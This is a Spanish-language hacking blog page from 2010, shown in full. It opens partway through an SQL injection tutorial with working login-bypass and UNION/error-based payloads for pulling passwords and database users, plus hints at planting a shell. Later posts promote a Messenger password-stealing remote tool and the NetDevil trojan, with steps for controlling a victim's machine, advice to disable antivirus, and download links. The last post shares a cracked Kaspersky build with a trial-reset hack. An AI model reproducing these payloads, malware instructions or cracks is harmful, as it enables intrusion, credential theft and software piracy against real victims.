''=''</pre></div> nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso. Otros posibles valores que devuelven true son: * usuario: Pegaso AND /* password: */ ''=' * usuario: ' OR 1=1 // Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta encriptado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo Ejemplo 2 Código: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">$us=$_POST[‘usuario’]; $pas=$_POST[‘pass’]; if($_GET['usuario'] || $_GET['pass']){ die("Hack Attempt"); } $sql="SELECT password FROM usuarios WHERE user = '$us'"; </pre></div>-- código largo cortado -- Código: <div style="color: rgb(255, 0, 0);" class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">$resp = mysql_query($sql) or die(mysql_error()); if(mysql_fetch_array($resp)){ if($resp==$pas){ echo "Inicio de sesión exitoso"; // Esto fue modificado }else{ echo "el password $resp es incorrecto"; } }</pre></div> Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable? SI, ¿porque? Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc.. el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada. Ahora, queremos sacar el password.. pero.. ¿como? Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o.. Bueno.. UNION necesita algunos requisitos. * Necesitas meter la misma cantidad de valores que tiene la tabla. * Tener un informe de los errores que provocaremos en la instrucción Bien ahora empezemos. la instrucción a modificar es la siguiente: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT password FROM usuarios WHERE user = '$us'</pre></div> como ejemplo, si colocalmos de usuario: zanahoria la instrucción que llega seria: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT password FROM usuarios WHERE user = 'zanahoria'</pre></div> Otra vez necesitamos creatividad <img alt="Cheesy" border="0" src="http://hdlsec.com/foro/Smileys/classic/cheesy.gif" /> regresemos al UNION. UNION necesita que el numero de columnas sea igual, sino sacara un error. y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien. el UNION se usa de esta forma: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">usuario: ' AND 0 UNION SELECT 1 AND 'l'=' SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''</pre></div> para lo cual SQL nos respondera: Citar<div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''</pre></div> Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras) Quedaria algo así: <div class="codeheader">Código:</div><div class="code"><pre style="margin-top: 0pt; display: inline;">' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria </pre></div>la sentencia seria esta: <div class="codeheader">Código:</div><div class="code"><pre style="margin-top: 0pt; display: inline;">SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password) ,2,3,4,5 FROM usuarios WHERE user = 'zanahoria' </pre></div>que nos da como error: Citar <div class="quoteheader">Citar</div><div class="quote">Syntax error converting the varchar value 'naranja' to a column of data type int.</div> donde el password es naranja <img alt="Cool" border="0" src="http://hdlsec.com/foro/Smileys/classic/cool.gif" /> <img alt="Cool" border="0" src="http://hdlsec.com/foro/Smileys/classic/cool.gif" /> Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..). el siguiente es un ejemplo, con la misma sentencia usuario: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='</pre></div> y nos regresa: Citar <div class="quoteheader">Citar</div><div style="color: rgb(255, 0, 0);" class="quote">Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'</div> que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos así: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='</pre></div> y eso nos regresa: Citar <div class="quoteheader">Citar</div><div class="quote">root@localhost</div> esto, no es todo, con hacer que regrese valores con '', podemos incluso crearnos nuestra shell. Para ver el metodo completo de acidbits, da click aquí. Ejercicio <img alt="Smiley" border="0" src="http://hdlsec.com/foro/Smileys/classic/smiley.gif" />: ¿Que puedes hacer con esta sentencia? Código: <div style="color: rgb(255, 0, 0);" class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">$sql="UPDATE clicks set dat=now(), aas=aas+1 where ref='$HTTPREFFERER'"; $resp = mysql_query($sql) or die(mysql_error());</pre></div> Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica. </div>

Sql Injection tutorial

les dejo un buen tutorial de SQL injection para los que empiezan con el hacking avanzado.Tambien les recomiendo el texto de hernan raciatti que tien en su web pueden encontrarlo en goole es bien com…

27 Oct 2010

MSN administrativa

<div style="text-align: center;"><img alt="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG91o3rtRE_Ofn_p6QI35ovV_zvfTAxzZXG5PTj4M7Zb7S3qseaMzmtYFxJkSWC8Bj5AKNivbGpRP3XMF-dR46prEOTkFQy8NOhm5opQ1wiQJNYZyZoUeuMwfpYBWVfUL42ERixHVSruTK/s320/msn_password.png" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG91o3rtRE_Ofn_p6QI35ovV_zvfTAxzZXG5PTj4M7Zb7S3qseaMzmtYFxJkSWC8Bj5AKNivbGpRP3XMF-dR46prEOTkFQy8NOhm5opQ1wiQJNYZyZoUeuMwfpYBWVfUL42ERixHVSruTK/s320/msn_password.png" /> <img alt="" border="0" src="http://img140.imageshack.us/img140/9994/301220081412131iv9.jpg" /> MSN administrativa es una avanzada herramienta de administración remota para Live Messenger. Esto permite MSN administración para controlar remotamente Live Messenger que se encuentra detrás de cortafuegos y routers. Puede robar contraseñas de tus contactos de MSN Messenger muy fácilmente. Esta aplicación funciona de forma remota usando un cliente y un servidor, la víctima se ejecutará en el servidor y se controlará el cliente de hacer lo que quieras para obtener una conexión y robar sus contraseñas y control de sus contactos y más. Ingles: MSN Admin is an advanced Remote Administration Tool for Live Messenger. This allows MSN Admin to remotly control Live Messenger that is behind firewalls and routers. You can Steal your contacts msn messenger passwords very easily . This application works remotely using a client and a server, the victim will execute the server and you will control the client doing whatever you want to get a connection and steal their password And control their contacts And more. <a href="http://www.2shared.com/file/4549677/d24a1c1b/MsnAdmin_HA_cker.html" target="_blank"></a> <a href="http://www.megaupload.com/es/?d=QSQ95RQV" target="_blank">http://www.megaupload.com/es/?d=QSQ95RQV</a> </div>

MSN administrativa

MSN administrativa es una avanzada herramienta de administración remota para Live Messenger. Esto permite MSN administración para controlar remotamente Live Messenger que se encuentra detrás de cortaf…

27 Oct 2010

Troyano: NetDevil

<div style="text-align: center;"><img alt="http://cache.kotaku.com/assets/resources/2007/06/liveblognet.JPG" src="http://cache.kotaku.com/assets/resources/2007/06/liveblognet.JPG" /> en el cual una vez infectada la VICTIMA podremos, abrirle la lectora de cd, cerrarselao, darle vuelta el esritorio sacarles password, abrirle el navegador y posicionarlo en una pag determinada, controlarle el mouse, apagarle el monitor... en fin un muy buen Troyano.. MODO DE USO: Ejecutan el Programa NetDevil... Ariba a la izquierda colocan la IP de nuestra victima y al lado lo dejan como esta (901) ponen Conect.... y en la pantalla a la derecha le saldra un emoticon ( <img alt="Smiley" border="0" src="http://hdlsec.com/foro/Smileys/classic/smiley.gif" /> ) que es qe se ha conectado una vez conectado puede empezar a causar "dañio" pero solo es para divertirse... desde ya saludos PD: si usan A.V.G desactivenlo xq sino se los borra... Link : <a href="http://www.megaupload.com/?d=5IW7IDPO">http://www.megaupload.com/?d=5IW7IDPO</a> </div>

Troyano: NetDevil

en el cual una vez infectada la VICTIMA podremos, abrirle la lectora de cd, cerrarselao, darle vuelta el esritoriosacarles password, abrirle el navegador y posicionarlo en una pag determinada, contro…

27 Oct 2010

Kaspersky Anti-Virus Personal 2010 v9.0.0.736 Español

<div style="text-align: center;"><img alt="" border="0" src="http://3.bp.blogspot.com/_9wGGERtNCGI/SoLsVgHcG-I/AAAAAAAADjg/cZ8epb1Sp38/s400/Kaspersky-anti-virus-2010-box-caja.png" /> Kaspersky Anti-Virus Personal 2010 v9.0.0.736 Final Spanish | 63 MB | Medicina Incl. | Critical Fix 2 (CF2) | Windows 7 Compatible Kaspersky es un antivirus que realiza una excelente combinación de protección reactiva y preventiva, protegiéndote eficazmente de virus, troyanos y todo tipo de programas malignos. Adicionalmente, dentro del grupo de programas malignos, Kaspersky también se encarga de proteger tu Registro y todo tu sistema contra programas potencialmente peligrosos como los spyware. Kaspersky cuenta con una merecida fama de ser uno de los antivirus que posee un <a href="http://ads.us.e-planning.net/ei/3/805f/57caa0b06e6fa9f9?rnd=0.33939074385659085&pb=3bee92db76e5be01&fi=e5fa6bcc90836935" target="_blank">mejor</a> análisis en ‘busca y captura’ de virus. Eso sí, Kaspersky realiza un análisis muy a fondo con lo que suele tardar bastante. Soluciónalo programando el análisis en una hora en la que no necesites el PC. Entre las novedades de esta versión de Kaspersky, destaca el análisis ‘al vuelo’ del tráfico de Internet y de tu correo electrónico, la actualización instantánea de la base de datos y la protección contra los rootkits. Novedades # El servicio Kaspersky Security Network recibe información de todos los usuarios que utilizan el sistema y, así, va ampliando sus recursos. De esta manera, se pretende ir disminuyendo el tiempo de respuesta a las incidencias de los usuarios. El servicio busca minimizar el tiempo necesario para detectar y neutralizar los nuevos tipos de amenazas. Cuando un usuario inicia un programa, el servicio comprueba si éste existe dentro de las listas blancas y del Sistema de Detección de Urgencias en los servidores Kaspersky Lab. # Se ha ampliado y mejorado la protección de los datos privados del usuario. Por ejemplo, Kaspersky Anti-Virus envía una advertencia automática a los usuarios que se conectan inconscientemente a sitios fraudulentos conocidos, y bloquea los lectores de teclado diseñados para robar contraseñas y claves de acceso. # El nuevo Emulador de Scripts analiza el comportamiento de las secuencias de comandos para evaluar su peligrosidad potencial. Simula el funcionamiento de los motores Java Script y Visual Basic Script, activados por omisión en Microsoft Internet Explorer e integrados dentro de Microsoft Windows. # El nuevo componente Antivirus para chat refuerza la seguridad en la utilización de la mayoría de las <a href="http://ads.us.e-planning.net/ei/3/805f/57caa0b06e6fa9f9?rnd=0.33939074385659085&pb=87f4c894b1cd28a8&fi=e5fa6bcc90836935" target="_blank">aplicaciones</a> de mensajería instantánea. El componente explora los mensajes en busca de objetos maliciosos. # Las mejoras del componente Teclado Virtual refuerzan la seguridad al introducir datos personales, ya que impide que los datos sean interceptados por software espía y que se realicen capturas de pantalla. # Kaspersky Anti-Virus incluye el componente Defensa Proactiva que permite detectar amenazas desconocidas hasta la fecha, por su comportamiento dentro del sistema. El análisis utiliza la base de <a href="http://ads.us.e-planning.net/ei/3/805f/57caa0b06e6fa9f9?rnd=0.33939074385659085&pb=4b940ca6ab653121&fi=e5fa6bcc90836935" target="_blank">reglas</a> heurísticas BSS (Behavior Stream Signature) que puede ser periodicamente actualizada. # Es posible desactivar temporalmente los componentes de Kaspersky Anti-Virus, para mejorar el rendimiento del equipo. Esto puede resultar útil cuando utiliza aplicaciones que consumen grandes cantidades de recursos, como por ejemplo los juegos en red. # Para controlar el acceso a sitios Web fraudulentos y asegurar la protección contra intentos de fraude con ataques phishing, cada vez que el usuario intenta visitar una página Web, se analizan los vínculos presentes en mensajes y páginas Web y se comparan con la base de datos de direcciones fraudulentas. Puede comprobar si una dirección Web aparece dentro de la base antifraudes cuando utiliza los componentes Antivirus Internet o Antivirus para chat. # Se han realizado mejoras en todos los componentes de la aplicación, y en particular en el Analizador heurístico. # Se ha mejorado significativamente el núcleo antivirus de Kaspersky Anti-Virus 2010, para mejorar la detección de software malicioso. En comparación con las anteriores versiones, Kaspersky Anti-Virus 2010 ha mejorado su rendimiento en los sistemas operativos Windows Vista. # Kaspersky Anti-Virus ofrece un módulo de análisis de vínculos URL administrado por el componente Antivirus Internet. Este módulo analiza los vínculos en páginas Web, comparando las direcciones de sitios Web con las bases de direcciones sospechosas y fraudulentas. Este módulo se suministra para los navegadores Microsoft Internet Explorer y Mozilla Firefox como complemento software. # Se ha mejorado el proceso de actualización. Ahora, las bases de Kaspersky Anti-Virus se actualizan no sólo de acuerdo con la planificación establecida, sino también cuando aparecen nuevas amenazas. # Se ha mejorado la creación del Disco de rescate. El servicio debe utilizarse cuando la infección alcanza tal nivel que resulta imposible desinfectar el equipo ejecutando aplicaciones antivirus o herramientas de eliminación de software malicioso como, por ejemplo, Kaspersky AVPTool. Los Discos de rescate mejorados desinfectan de maneras <a href="http://ads.us.e-planning.net/ei/3/805f/57caa0b06e6fa9f9?rnd=0.33939074385659085&pb=861ef7198dba54c3&fi=e5fa6bcc90836935" target="_blank">más</a> efiocaz porque los programas maliciosos no pueden tomar el control durante la carga del sistema operativo. MEJORAS 1. Soporte para Microsoft Windows 7. 2. Mejora de los métodos de respuesta ante amenazas complejas. 3. Mejora del análisis de vulnerabilidades, facilitando la búsqueda y eliminación de amenazas, tanto en aplicaciones instaladas en el equipo como en la configuración del sistema operativo. 4. Mejora del módulo Agente de noticias, responsable de la entrega de noticias Kaspersky. 5. Solventados PROBLEMAS CONOCIDOS 1. Si se detecta una amenaza en un objeto OLE, la aplicación no sugiere ejecutar la desinfección. Las acciones posibles en este caso son mover el archivo a cuarentena o eliminarlo. 2. El componente Antivirus Internet no informa al usuario acerca de los archivos descargados. 3. Pueden producirse problemas en la visualización de algunos archivos con programas de desfragmentación especializados como PageDefrag. 4. En ciertos casos, la tecla “^” del Teclado Virtual se mantiene presionada. Para resolver este problema, haga clic derecho en la tecla. 5. Las funciones avanzadas de filtrado no funcionan correctamente en algunas ventanas de informes. 6. Si instala Kaspersky Anti-Virus 2010 por encima de una versión anterior, cuando activa la opción de registro de los eventos del sistema de archivos, es posible que perciba una ralentización de la instalación. 7. Durante la desinstalación de Kaspersky Anti-Virus, no se eliminan la claves del Registro vinculadas a extensiones del shell. <img alt="" border="0" src="http://2.bp.blogspot.com/_9wGGERtNCGI/Sw_ZtykBahI/AAAAAAAAH9Y/z_z-18psdso/s400/KAV-2010-3.jpg" /> <img alt="" border="0" src="http://1.bp.blogspot.com/_9wGGERtNCGI/Sw_Ztzx4lAI/AAAAAAAAH9Q/GHoGbJh-qHE/s400/KAV-2010-2.jpg" /> <img alt="" border="0" src="http://2.bp.blogspot.com/_9wGGERtNCGI/Sw_Ztsr-ZzI/AAAAAAAAH9I/WJvXR_uNTc4/s400/KAV-2010-1.jpg" /> <a href="http://ads.us.e-planning.net/ei/3/805f/57caa0b06e6fa9f9?rnd=0.33939074385659085&pb=e3fd311fa8c79f40&fi=e5fa6bcc90836935" target="_blank">Descargar</a> <a href="http://rapidshare.com/files/312935705/Kaspersky.Anti-Virus.2010.v9.0.0.736.ES.rar" target="_blank">http://rapidshare.com/files/31293570...0.0.736.ES.rar</a> <a href="http://www.megaupload.com/?d=FIYO0481" target="_blank">http://www.megaupload.com/?d=FIYO0481</a> <a href="http://depositfiles.com/es/files/gn4qmk48c" target="_blank">http://depositfiles.com/es/files/gn4qmk48c</a> <a href="http://hotfile.com/dl/18789674/ab2ff1b/Kaspersky.Anti-Virus.2010.v9.0.0.736.ES.rar.html" target="_blank">http://hotfile.com/dl/18789674/ab2ff...36.ES.rar.html</a> Kaspersky trial reset <a href="http://www.ziddu.com/download/3962257/Kaspersky.Trial.Reset.All.rar.html" target="_blank">http://www.ziddu.com/download/396225...t.All.rar.html</a> Las instrucciones son: Cerrar Kaspersky Doble clic en el archivo "Kaspersky Trial Reset.reg", clic en "Sí" y "Aceptar" Abrir Kaspersky Seleccionar "Activate Trial Version", "Next" y "Finnish" </div>

Kaspersky Anti-Virus Personal 2010 v9.0.0.736 Español

Kaspersky Anti-Virus Personal 2010 v9.0.0.736 FinalSpanish | 63 MB | Medicina Incl. | Critical Fix 2 (CF2) | Windows 7 Compatible Kaspersky es un antivirus que realiza una excelente combinación de pr…

27 Oct 2010